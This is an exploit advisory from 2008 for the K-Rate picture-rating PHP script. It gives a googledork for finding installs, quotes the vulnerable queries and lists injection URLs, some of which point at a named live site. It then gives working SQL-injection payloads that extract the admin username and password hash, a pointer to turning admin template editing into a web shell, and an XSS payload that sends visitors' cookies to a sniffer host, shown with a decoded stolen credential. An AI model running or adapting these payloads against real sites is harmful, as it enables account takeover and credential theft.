============ || K-Rate SQL-INJECTION, XSS ================================================================================ Application: K-Rate ------------ Website: http://turn-k.net/k-rate -------- Demo: http://kratedemo.com ----- Version: All -------- About: K-Rate picture rating script. Price 115$. ------ Googledork: Powered by K-Rate ----------- Date: 01-07-2008 ----- Description: ------------ 1) SQL-injection 2) Active XSS 3) Passive XSS [ SOME VULNERABLE CODE ] [ admin/includes/dele_cpac.php ] $result = mysql_query("SELECT * FROM $admtable WHERE a_id=$id") or die (mysql_error()); [payments/payment_received.php] $res = mysql_query("SELECT * FROM $paytable WHERE p_id=$ord[order_id]") or die(mysql_error()); [includes/functions.php] function id_to_url($id) { global $linktable; $result = mysql_query("SELECT l_url FROM $linktable WHERE l_id=$id") or die(mysql_error()); ... if (mysql_affected_rows() == 0) { $r = mysql_query("SELECT l_cat FROM $linktable WHERE l_id=$id"); [modules/chat.php] if ($act == 'users') { $res = sql_query("SELECT * FROM $chatonlinetable LEFT JOIN $membtable ON $membtable.m_id=$chatonlinetable.co_user WHERE co_room=$room ORDER BY co_user ASC"); [ SQL-INJECTION ] *) http://host/index.php?req=online&show=1[SQL] *) http://host/room/1[SQL] *) http://raterally.com/index.php?req=view&user=somegirl&id=2[SQL]&act=vote&image=3&voter=12&vote=3 *) http://raterally.com/index.php?req=view&user=somegirl&id=2&act=vote&image=3[SQL]&voter=12&vote=3 *) http://raterally.com/blog/somegirl[SQL] *) http://raterally.com/index.php?req=blog_edit&id=1[SQL] and other other other... ===>>> Exploit: Must be authenticated as a regular user. http://host/index.php?req=blog_edit&id=-1 union select 1,2,version(),4,5,6/* http://host/room/-1 union select 1,version(),3,4/* http://host/index.php?req=blog_edit&id=-1 union select 1,2,adm_user,4,5,6 from rate_admins where adm_id=1/* http://host/index.php?req=blog_edit&id=-1 union select 1,2,adm_pass,4,5,6 from rate_admins where adm_id=1/* /* Admin Login - http://host/admin Manage Templates => web-shell */ [ ACTIVE XSS ] *) in blog *) in gallery *) in forum ===>>> Exploit: <script>img = new Image(); img.src = "http://sniffer/sniff.jpg?"+document.cookie;</script> In sniff-log: YToyOntzOjQ6InVzZXIiO3M6NjoiY29yd2luIjtzOjQ6InBhc3MiO3M6MzI6IjFlOGVjNTkzMGE4ODk5MmU4MDJjZDFiYWU2YzA1OWNmIjt9 Decode: <?php echo base64_decode("YToyOntzOjQ6InVzZXIiO3M6NjoiY29yd2luIjtzOjQ6InBhc3MiO3M6MzI6IjFlOGVjNTkzMGE4ODk5MmU4MDJjZDFiYWU2YzA1OWNmIjt9="); ?> Login and password (MD5): a:2:{s:4:\"user\";s:6:\"corwin\";s:4:\"pass\";s:32:\"1e8ec5930a88992e802cd1bae6c059cf\";} [ PASSIVE XSS :) ] http://host/index.php?req=view&user=somegirl&id=2&act=vote&image=3&voter=12&vote=3[XSS] and other other bugz ... Author: Corwin ------- Contact: corwin88[dog]mail[dot]ru --------